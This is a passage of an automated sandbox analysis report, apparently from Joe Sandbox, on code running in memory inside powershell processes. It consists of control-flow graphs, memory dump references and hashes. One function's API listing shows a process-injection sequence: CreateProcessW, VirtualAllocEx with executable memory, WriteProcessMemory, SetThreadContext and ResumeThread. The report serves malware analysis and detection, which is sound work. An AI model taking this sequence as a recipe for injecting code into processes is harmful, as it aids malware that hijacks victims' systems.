70c4a2f call 2877da8 416->427 419 70c4a34-70c4a90 421->419 422->419 423->419 424->419 425->419 426->419 427->419
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2246581507.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_70c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 64b99f86891a63e54f1617b21c72a9af4f14cffe5154a8d87eb7788f402dd0f1
                                                        • Instruction ID: bdc5055a6c136608c7864c590560846873f46ea30f31bd0968ba83416b72a408
                                                        • Opcode Fuzzy Hash: 64b99f86891a63e54f1617b21c72a9af4f14cffe5154a8d87eb7788f402dd0f1
                                                        • Instruction Fuzzy Hash: 91F1AF70B00245ABDB58DB68D824B6EBFE2FFC9710F248669F9059B340DB72DC458B91
                                                        Function 070C45F5 Relevance: .2, Instructions: 244COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 569 70c45f5-70c45f6 570 70c45fe-70c463b 569->570 571 70c45f8-70c45fd 569->571 573 70c4641-70c4646 570->573 574 70c4af2 570->574 571->570 575 70c465e-70c4663 573->575 576 70c4648-70c464e 573->576 579 70c4af5-70c4af8 574->579 580 70c4665-70c4671 575->580 581 70c4673 575->581 577 70c4650 576->577 578 70c4652-70c465c 576->578 577->575 578->575 579->579 582 70c4af9-70c4afa 579->582 583 70c4675-70c4677 580->583 581->583 585 70c4afc-70c4b00 582->585 586 70c4b02-70c4b25 582->586 587 70c467d-70c4687 583->587 588 70c4a93-70c4a9d 583->588 585->586 591 70c4b35 586->591 592 70c4b27-70c4b33 586->592 587->574 593 70c468d-70c4692 587->593 589 70c4a9f-70c4aa8 588->589 590 70c4aab-70c4ab1 588->590 594 70c4ab7-70c4ac3 590->594 595 70c4ab3-70c4ab5 590->595 596 70c4b37-70c4b39 591->596 592->596 597 70c46aa-70c46b8 593->597 598 70c4694-70c469a 593->598 599 70c4ac5-70c4aef 594->599 595->599 600 70c4b7b-70c4b85 596->600 601 70c4b3b-70c4b42 596->601 597->588 610 70c46be-70c46dd 597->610 602 70c469c 598->602 603 70c469e-70c46a8 598->603 605 70c4b8e-70c4b94 600->605 606 70c4b87-70c4b8b 600->606 601->600 608 70c4b44-70c4b61 601->608 602->597 603->597 611 70c4b9a-70c4ba6 605->611 612 70c4b96-70c4b98 605->612 616 70c4bc9-70c4bce 608->616 617 70c4b63-70c4b75 608->617 610->588 624 70c46e3-70c46ed 610->624 614 70c4ba8-70c4bc6 611->614 612->614 616->617 617->600 624->574 626 70c46f3-70c46f8 624->626 627 70c46fa-70c4700 626->627 628 70c4710-70c4714 626->628 630 70c4704-70c470e 627->630 631 70c4702 627->631 628->588 629 70c471a-70c471e 628->629 629->588 632 70c4724-70c4728 629->632 630->628 631->628 632->588 633 70c472e-70c473e 632->633 635 70c4744-70c476b 633->635 636 70c47c6-70c4815 633->636 641 70c476d-70c4773 635->641 642 70c4785-70c47b3 635->642 653 70c481c-70c482f 636->653 643 70c4775 641->643 644 70c4777-70c4783 641->644 650 70c47b5-70c47b7 642->650 651 70c47c1-70c47c4 642->651 643->642 644->642 650->651 651->653 654 70c4835-70c485c 653->654 655 70c48b7-70c4906 653->655 660 70c485e-70c4864 654->660 661 70c4876-70c48a4 654->661 672 70c490d-70c4920 655->672 662 70c4868-70c4874 660->662 663 70c4866 660->663 669 70c48a6-70c48a8 661->669 670 70c48b2-70c48b5 661->670 662->661 663->661 669->670 670->672 673 70c49a8-70c49f7 672->673 674 70c4926-70c494d 672->674 691 70c49fe-70c4a2c 673->691 679 70c494f-70c4955 674->679 680 70c4967-70c4995 674->680 681 70c4959-70c4965 679->681 682 70c4957 679->682 688 70c4997-70c4999 680->688 689 70c49a3-70c49a6 680->689 681->680 682->680 688->689 689->691 696 70c4a2f call 2877c45 691->696 697 70c4a2f call 2871ba1 691->697 698 70c4a2f call 2871c00 691->698 699 70c4a2f call 2877a08 691->699 700 70c4a2f call 2877a18 691->700 701 70c4a2f call 2871c18 691->701 702 70c4a2f call 2877da8 691->702 694 70c4a34-70c4a90 696->694 697->694 698->694 699->694 700->694 701->694 702->694
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2246581507.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_70c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ce5773ace29c547fa657b7185ad7104065f3834429c54729343f2cda93832ade
                                                        • Instruction ID: 178ae3aba461421b49c02711ae1b4bf476caf6342edd547022724ad2dde89da6
                                                        • Opcode Fuzzy Hash: ce5773ace29c547fa657b7185ad7104065f3834429c54729343f2cda93832ade
                                                        • Instruction Fuzzy Hash: 9D91BEB0A002469BCB58CF58C464B6DBBF2FFC9710F298669F915AB344DB32DC458B91
                                                        Function 070C04F8 Relevance: .2, Instructions: 164COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 787 70c04f8-70c050a 788 70c05ca 787->788 789 70c0510-70c0521 787->789 791 70c05cd-70c05d0 788->791 792 70c053b-70c0558 789->792 793 70c0523-70c0529 789->793 791->791 794 70c05d1-70c05d2 791->794 792->788 803 70c055a-70c057c 792->803 795 70c052d-70c0539 793->795 796 70c052b 793->796 797 70c05da-70c05fd 794->797 798 70c05d4-70c05d9 794->798 795->792 796->792 799 70c05ff-70c063e 797->799 800 70c066b-70c0675 797->800 798->797 823 70c06bb-70c06c0 799->823 824 70c0640-70c064e 799->824 804 70c0677-70c067d 800->804 805 70c0680-70c0686 800->805 813 70c057e-70c0584 803->813 814 70c0596-70c05ae 803->814 806 70c068c-70c0698 805->806 807 70c0688-70c068a 805->807 809 70c069a-70c06b8 806->809 807->809 816 70c0588-70c0594 813->816 817 70c0586 813->817 820 70c05bc-70c05c7 814->820 821 70c05b0-70c05b2 814->821 816->814 817->814 821->820 823->824 828 70c0656-70c0665 824->828 828->800
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2246581507.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_70c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8acdf058cc8d6268c55d009cc8f2b230ccbfa349dc83be47b2e98f3b306966da
                                                        • Instruction ID: 6559df1e758316e7ced4bb0933ea883cbfccc5c752f6e51fd503b853b1906cc8
                                                        • Opcode Fuzzy Hash: 8acdf058cc8d6268c55d009cc8f2b230ccbfa349dc83be47b2e98f3b306966da
                                                        • Instruction Fuzzy Hash: C05113B0B04354DFDB549B68881072EBBE2EFC5710F14866EE649DB381CA71CC01C7A2
                                                        Function 070C1F25 Relevance: .1, Instructions: 122COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2246581507.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_70c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 344eed1fc484a7c06e93228c539e812898e20b0eb0286eb55715fb4fc3adf899
                                                        • Instruction ID: fc527f5c75af0032eaa106d32eb2efc55bdb166d9c1cd61778b33f2b29a3ea98
                                                        • Opcode Fuzzy Hash: 344eed1fc484a7c06e93228c539e812898e20b0eb0286eb55715fb4fc3adf899
                                                        • Instruction Fuzzy Hash: FF41F5F4A04306CFDBA4CF18894066D7BE2BF95250B6581AEDA04DF793D731D981C762
                                                        Function 027FD01D Relevance: .0, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2241326724.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_27fd000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9b650b051b2696cea3857a216b9b99a39aed41317e71da128a18e00bf55e6b3d
                                                        • Instruction ID: 10e75112db295b791a4829ba720c2a60973101e2fe4fda845a76a25384d0c269
                                                        • Opcode Fuzzy Hash: 9b650b051b2696cea3857a216b9b99a39aed41317e71da128a18e00bf55e6b3d
                                                        • Instruction Fuzzy Hash: E801267150C344EAE7704E25CD84B67BF98EF41324F18C01AEF081B782C7B89841C6B1
                                                        Function 027FD007 Relevance: .0, Instructions: 44COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2241326724.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_27fd000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: df5f3a932cef6683e78fec8aefd9ae8cd63ba1ae39ff1e393b07378f6c28a86f
                                                        • Instruction ID: 91c978360e815cf0343ec808120f23febc0b5f31c4b4d6ef4ddf9a976dac1ccd
                                                        • Opcode Fuzzy Hash: df5f3a932cef6683e78fec8aefd9ae8cd63ba1ae39ff1e393b07378f6c28a86f
                                                        • Instruction Fuzzy Hash: D601527140E3C05ED7124B258894762BFB4EF43224F1DC0CBD9888F6A3C2695849C772

                                                        Execution Graph

                                                        Execution Coverage:4.9%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:62.2%
                                                        Total number of Nodes:37
                                                        Total number of Limit Nodes:3
                                                        execution_graph 9271 4e47e76 9272 4e47e42 9271->9272 9273 4e47e96 9272->9273 9276 4e48738 9272->9276 9277 4e48742 9276->9277 9278 4e47e65 9276->9278 9280 4e487b0 9277->9280 9281 4e4882d 9280->9281 9290 4e48eb4 9281->9290 9304 4e472f0 9281->9304 9283 4e49095 CreateProcessW 9286 4e49109 9283->9286 9284 4e488b8 9285 4e472fc Wow64SetThreadContext 9284->9285 9284->9290 9287 4e48923 9285->9287 9288 4e48a36 VirtualAllocEx 9287->9288 9287->9290 9291 4e48da8 9287->9291 9289 4e48a83 9288->9289 9289->9290 9292 4e48ad1 VirtualAllocEx 9289->9292 9294 4e48b25 9289->9294 9290->9283 9290->9291 9291->9278 9292->9294 9293 4e47314 WriteProcessMemory 9303 4e48b6f 9293->9303 9294->9290 9294->9291 9294->9293 9295 4e48cb9 9295->9290 9296 4e47314 WriteProcessMemory 9295->9296 9297 4e48ce2 9296->9297 9297->9290 9297->9291 9298 4e47320 Wow64SetThreadContext 9297->9298 9299 4e48d57 9298->9299 9299->9290 9300 4e48d5f 9299->9300 9300->9291 9301 4e48d68 ResumeThread 9300->9301 9301->9291 9302 4e47314 WriteProcessMemory 9302->9303 9303->9290 9303->9291 9303->9295 9303->9302 9305 4e48fb0 CreateProcessW 9304->9305 9307 4e49109 9305->9307 9308 4e47d67 9309 4e47d51 9308->9309 9310 4e47e0d 9309->9310 9312 4e48738 8 API calls 9309->9312 9311 4e47e65 9312->9311

                                                        Executed Functions

                                                        Function 04E487B0 Relevance: 6.7, APIs: 4, Instructions: 666memoryprocessthreadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 4e487b0-4e48861 4 4e48867-4e48877 0->4 5 4e48f99-4e49029 0->5 8 4e48880 4->8 9 4e48879-4e4887e 4->9 12 4e49031-4e49038 5->12 13 4e4902b-4e4902e 5->13 11 4e48882-4e48884 8->11 9->11 14 4e48886-4e48899 11->14 15 4e4889b-4e488ba call 4e472f0 11->15 16 4e49043-4e49059 12->16 17 4e4903a-4e49040 12->17 13->12 14->15 24 4e488c3 15->24 25 4e488bc-4e488c1 15->25 19 4e49064-4e49107 CreateProcessW 16->19 20 4e4905b-4e49061 16->20 17->16 26 4e49110-4e49188 19->26 27 4e49109-4e4910f 19->27 20->19 28 4e488c5-4e488c7 24->28 25->28 48 4e4919a-4e491a1 26->48 49 4e4918a-4e49190 26->49 27->26 29 4e488cd-4e488e2 28->29 30 4e48f0f-4e48f22 28->30 35 4e488e8-4e4890c 29->35 36 4e48f0a 29->36 41 4e48f29-4e48f3f 30->41 35->41 45 4e48912-4e48925 call 4e472fc 35->45 36->30 41->5 54 4e48f41-4e48f4b 41->54 55 4e48ead-4e48eaf 45->55 56 4e4892b-4e48932 45->56 50 4e491a3-4e491b2 48->50 51 4e491b8 48->51 49->48 50->51 58 4e491b9 51->58 63 4e48f56-4e48f58 54->63 64 4e48f4d-4e48f54 54->64 59 4e48e93-4e48ea6 56->59 60 4e48938-4e48942 56->60 58->58 59->55 60->41 62 4e48948-4e48965 60->62 62->36 66 4e4896b-4e48985 call 4e47308 62->66 67 4e48f5a-4e48f5e 63->67 64->67 73 4e48eb4 66->73 74 4e4898b-4e48992 66->74 71 4e48f65-4e48f72 67->71 72 4e48f60 call 4e47f64 67->72 85 4e48f79-4e48f96 71->85 72->71 81 4e48ebb 73->81 77 4e48998-4e489a1 74->77 78 4e48e79-4e48e8c 74->78 79 4e489a3-4e489e7 77->79 80 4e48a0c-4e48a12 77->80 78->59 88 4e489f0-4e489fc 79->88 89 4e489e9-4e489ef 79->89 80->36 84 4e48a18-4e48a28 80->84 87 4e48ec5 81->87 84->36 94 4e48a2e-4e48a81 VirtualAllocEx 84->94 92 4e48ecc 87->92 88->81 93 4e48a02-4e48a06 88->93 89->88 98 4e48ed3 92->98 93->80 96 4e48e5f-4e48e72 93->96 99 4e48a83-4e48a89 94->99 100 4e48a8a-4e48aa8 94->100 96->78 103 4e48eda 98->103 99->100 100->87 102 4e48aae-4e48ab5 100->102 106 4e48b3c-4e48b43 102->106 107 4e48abb-4e48ac2 102->107 110 4e48ee1 103->110 106->98 109 4e48b49-4e48b50 106->109 107->92 108 4e48ac8-4e48acf 107->108 108->106 113 4e48ad1-4e48b23 VirtualAllocEx 108->113 111 4e48e45-4e48e58 109->111 112 4e48b56-4e48b71 call 4e47314 109->112 115 4e48eeb 110->115 111->96 112->103 120 4e48b77-4e48b7e 112->120 116 4e48b25-4e48b2b 113->116 117 4e48b2c-4e48b36 113->117 121 4e48ef2 115->121 116->117 117->106 123 4e48b84-4e48b8d 120->123 124 4e48e2b-4e48e3e 120->124 127 4e48ef9 121->127 123->36 126 4e48b93-4e48b99 123->126 124->111 126->36 128 4e48b9f-4e48baa 126->128 130 4e48f03 127->130 128->36 133 4e48bb0-4e48bb6 128->133 130->36 134 4e48bbc-4e48bc1 133->134 135 4e48cb9-4e48cca 133->135 134->36 136 4e48bc7-4e48bda 134->136 135->36 138 4e48cd0-4e48ce4 call 4e47314 135->138 136->36 141 4e48be0-4e48bf3 136->141 138->121 144 4e48cea-4e48cf1 138->144 141->36 145 4e48bf9-4e48c0e 141->145 146 4e48df7-4e48e0a 144->146 147 4e48cf7-4e48cfd 144->147 145->110 151 4e48c14-4e48c18 145->151 164 4e48e11-4e48e24 146->164 147->36 148 4e48d03-4e48d14 147->148 148->127 156 4e48d1a-4e48d1e 148->156 153 4e48c1e-4e48c27 151->153 154 4e48c9f-4e48ca2 151->154 153->36 158 4e48c2d-4e48c30 153->158 154->36 157 4e48ca8-4e48cab 154->157 159 4e48d20-4e48d23 156->159 160 4e48d29-4e48d31 156->160 157->36 162 4e48cb1-4e48cb3 157->162 158->36 163 4e48c36-4e48c66 158->163 159->160 160->36 161 4e48d37-4e48d41 160->161 161->41 165 4e48d47-4e48d59 call 4e47320 161->165 162->134 162->135 163->36 175 4e48c6c-4e48c85 call 4e47314 163->175 164->124 165->130 171 4e48d5f-4e48d66 165->171 173 4e48dc3-4e48dd6 171->173 174 4e48d68-4e48da6 ResumeThread 171->174 179 4e48ddd-4e48df0 173->179 176 4e48daf-4e48dbc 174->176 177 4e48da8-4e48dae 174->177 182 4e48c8a-4e48c8c 175->182 176->179 180 4e48dbe-4e48f74 176->180 177->176 179->146 180->85 182->115 185 4e48c92-4e48c99 182->185 185->154 185->164
                                                        APIs
                                                        • VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 04E48A6A
                                                        • VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040), ref: 04E48B0C
                                                          • Part of subcall function 04E47314: WriteProcessMemory.KERNELBASE(?,00000000,00000000,19062514,00000000,?,?,?,00000000,00000000,?,04E48B6F,?,00000000,?), ref: 04E493E4
                                                        • ResumeThread.KERNELBASE(?), ref: 04E48D8F
                                                        • CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 04E490F4
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: AllocProcessVirtual$CreateMemoryResumeThreadWrite
                                                        • String ID:
                                                        • API String ID: 4270437565-0
                                                        • Opcode ID: ffe1b10594586706354ef0621b7922f6741353003d285c8fb76fd97256ac1747
                                                        • Instruction ID: cfb28c3f31dc32c06450801cf8959f7331b81ffd39d139e90d24896b0b84e9c7
                                                        • Opcode Fuzzy Hash: ffe1b10594586706354ef0621b7922f6741353003d285c8fb76fd97256ac1747
                                                        • Instruction Fuzzy Hash: 6C42A174A00219CFEB24EF65D854BADB7B2BFC4304F1091A9D909AB391DB70AE84CF51
                                                        Function 04E47FD4 Relevance: .6, Instructions: 621COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 428 4e47fd4-4e482a5 429 4e482a7-4e482a9 428->429 430 4e482ae-4e482be 428->430 431 4e4857a-4e48581 429->431 432 4e482c5-4e482d5 430->432 433 4e482c0 430->433 435 4e48561-4e4856f 432->435 436 4e482db-4e482e9 432->436 433->431 439 4e48582-4e485f9 435->439 441 4e48571-4e48575 call 4e41ce8 435->441 436->439 440 4e482ef 436->440 440->439 442 4e48385-4e483a6 440->442 443 4e484e6-4e48512 440->443 444 4e4844a-4e48472 440->444 445 4e483ab-4e483cc 440->445 446 4e48514-4e4852f call 4e40318 440->446 447 4e48555-4e4855f 440->447 448 4e482f6-4e48305 440->448 449 4e483f7-4e48418 440->449 450 4e48477-4e484b6 440->450 451 4e483d1-4e483f2 440->451 452 4e48531-4e48553 440->452 453 4e4841d-4e48445 440->453 454 4e4835e-4e48380 440->454 455 4e48338-4e48359 440->455 456 4e484bb-4e484e1 440->456 441->431 442->431 443->431 444->431 445->431 446->431 447->431 475 4e48307-4e4831c 448->475 476 4e4831e-4e4832d 448->476 449->431 450->431 451->431 452->431 453->431 454->431 455->431 456->431 498 4e48333 475->498 476->498 498->431
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ddabd553a2e1d2faf8ecefafeee673e0a1eeda18d1f35c0f96ee367dcd74f7ea
                                                        • Instruction ID: d629fb4aa207d7616d7c495d4c663431adf6410637de943302efff14fe1a3475
                                                        • Opcode Fuzzy Hash: ddabd553a2e1d2faf8ecefafeee673e0a1eeda18d1f35c0f96ee367dcd74f7ea
                                                        • Instruction Fuzzy Hash: 25918E79F002189BEB09AB74946477E7BA3BBC4700F05C56EE442E7794DE38EC429791
                                                        Function 04E472F0 Relevance: 1.7, APIs: 1, Instructions: 156processCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 189 4e472f0-4e49029 191 4e49031-4e49038 189->191 192 4e4902b-4e4902e 189->192 193 4e49043-4e49059 191->193 194 4e4903a-4e49040 191->194 192->191 195 4e49064-4e49107 CreateProcessW 193->195 196 4e4905b-4e49061 193->196 194->193 198 4e49110-4e49188 195->198 199 4e49109-4e4910f 195->199 196->195 206 4e4919a-4e491a1 198->206 207 4e4918a-4e49190 198->207 199->198 208 4e491a3-4e491b2 206->208 209 4e491b8 206->209 207->206 208->209 211 4e491b9 209->211 211->211
                                                        APIs
                                                        • CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 04E490F4
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: CreateProcess
                                                        • String ID:
                                                        • API String ID: 963392458-0
                                                        • Opcode ID: fb76319f840b1ac448a258376c3d871e2680962e8513fc2974904533f6930772
                                                        • Instruction ID: 456b300ed4f4e6c26fe47f2a17bf4cf3079fe4b08a2d7fa4be36d42b639e98b3
                                                        • Opcode Fuzzy Hash: fb76319f840b1ac448a258376c3d871e2680962e8513fc2974904533f6930772
                                                        • Instruction Fuzzy Hash: 945129B1901259DFDF24CFA9D940BDEBBB5BF48314F10859AE908B7250D771AA84CF50
                                                        Function 04E49360 Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 212 4e49360-4e493ae 214 4e493b0-4e493b6 212->214 215 4e493b8-4e493f1 WriteProcessMemory 212->215 214->215 216 4e493f3-4e493f9 215->216 217 4e493fa-4e4941b 215->217 216->217
                                                        APIs
                                                        • WriteProcessMemory.KERNELBASE(?,00000000,00000000,19062514,00000000,?,?,?,00000000,00000000,?,04E48B6F,?,00000000,?), ref: 04E493E4
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: MemoryProcessWrite
                                                        • String ID:
                                                        • API String ID: 3559483778-0
                                                        • Opcode ID: 2a1919e20433ad513059f9670b9fd76bf449288fc5c08eeb0c095385c15fb32d
                                                        • Instruction ID: 99fed46117af96f5213e78403f07fcf017b801e11f6c9f38735519b104f16ad8
                                                        • Opcode Fuzzy Hash: 2a1919e20433ad513059f9670b9fd76bf449288fc5c08eeb0c095385c15fb32d
                                                        • Instruction Fuzzy Hash: A62137B59003499FDB10CFAAD880BDEBBF4FB49324F50842AE518B7251D378A944CBA1
                                                        Function 04E47314 Relevance: 1.6, APIs: 1, Instructions: 63injectionCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 219 4e47314-4e493ae 221 4e493b0-4e493b6 219->221 222 4e493b8-4e493f1 WriteProcessMemory 219->222 221->222 223 4e493f3-4e493f9 222->223 224 4e493fa-4e4941b 222->224 223->224
                                                        APIs
                                                        • WriteProcessMemory.KERNELBASE(?,00000000,00000000,19062514,00000000,?,?,?,00000000,00000000,?,04E48B6F,?,00000000,?), ref: 04E493E4
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: MemoryProcessWrite
                                                        • String ID:
                                                        • API String ID: 3559483778-0
                                                        • Opcode ID: 563c41e45fe0dd39ebbbd0a9e8f1a6b6f3185c744dccfa80d2fe001a9401d33b
                                                        • Instruction ID: 8e4821e51a314ee884bee1b088b5abf126a008390457017a5c6a1dc60a847b8e
                                                        • Opcode Fuzzy Hash: 563c41e45fe0dd39ebbbd0a9e8f1a6b6f3185c744dccfa80d2fe001a9401d33b
                                                        • Instruction Fuzzy Hash: 9A2109B1900309DFDB10CFA9D984BEEBBF4FB49324F50842AE514B7251D378A944CBA5
                                                        Function 04E491E9 Relevance: 1.6, APIs: 1, Instructions: 58threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 226 4e491e9-4e49230 228 4e49232-4e4923a 226->228 229 4e4923c-4e49268 Wow64SetThreadContext 226->229 228->229 230 4e49271-4e49292 229->230 231 4e4926a-4e49270 229->231 231->230
                                                        APIs
                                                        • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04E48923), ref: 04E4925B
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: 48ab13392ab5b17456ec36f8325d6e29ba5727ef521312ab22a8e8572abe290a
                                                        • Instruction ID: 8ac57fea7ae72c726da477663e1123e8cf614be8f58a07ca85620bfe02a08689
                                                        • Opcode Fuzzy Hash: 48ab13392ab5b17456ec36f8325d6e29ba5727ef521312ab22a8e8572abe290a
                                                        • Instruction Fuzzy Hash: 381144B2C007498FDB20CFAAD844BDEBBF4EB88320F14802AD458B3600D378A545CFA5
                                                        Function 04E472FC Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 233 4e472fc-4e49230 235 4e49232-4e4923a 233->235 236 4e4923c-4e49268 Wow64SetThreadContext 233->236 235->236 237 4e49271-4e49292 236->237 238 4e4926a-4e49270 236->238 238->237
                                                        APIs
                                                        • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04E48923), ref: 04E4925B
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: c14fdd53ac4c7928f1502ac51e8bc2507e2e143bda798cc5b6b6790ba3d440e7
                                                        • Instruction ID: f1bd2041cce16add57e595127f1435455a253fe443b17b3aae4cc9832b3876aa
                                                        • Opcode Fuzzy Hash: c14fdd53ac4c7928f1502ac51e8bc2507e2e143bda798cc5b6b6790ba3d440e7
                                                        • Instruction Fuzzy Hash: BE1114B2D046498FDB10CFAAD844BDFBBF4EB88220F14802AE418B3601D778A545CFA5
                                                        Function 04E47320 Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 240 4e47320-4e49230 242 4e49232-4e4923a 240->242 243 4e4923c-4e49268 Wow64SetThreadContext 240->243 242->243 244 4e49271-4e49292 243->244 245 4e4926a-4e49270 243->245 245->244
                                                        APIs
                                                        • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04E48923), ref: 04E4925B
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2472036843.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4e40000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: 918bdb4e21c3e70d464b3e3529da3ce4b02d87c98339552f7aa347fc5b6e81a3
                                                        • Instruction ID: c0491dca2c03399d1d0bbc833bbea1b67705543264aefcd8e6dd733d3b1e7007
                                                        • Opcode Fuzzy Hash: 918bdb4e21c3e70d464b3e3529da3ce4b02d87c98339552f7aa347fc5b6e81a3
                                                        • Instruction Fuzzy Hash: C81114B2D006498FDB10CFAAD844BDEBBF4EB88220F14802AE518B3601D778A545CFA5
                                                        Function 07D01F18 Relevance: .4, Instructions: 448COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
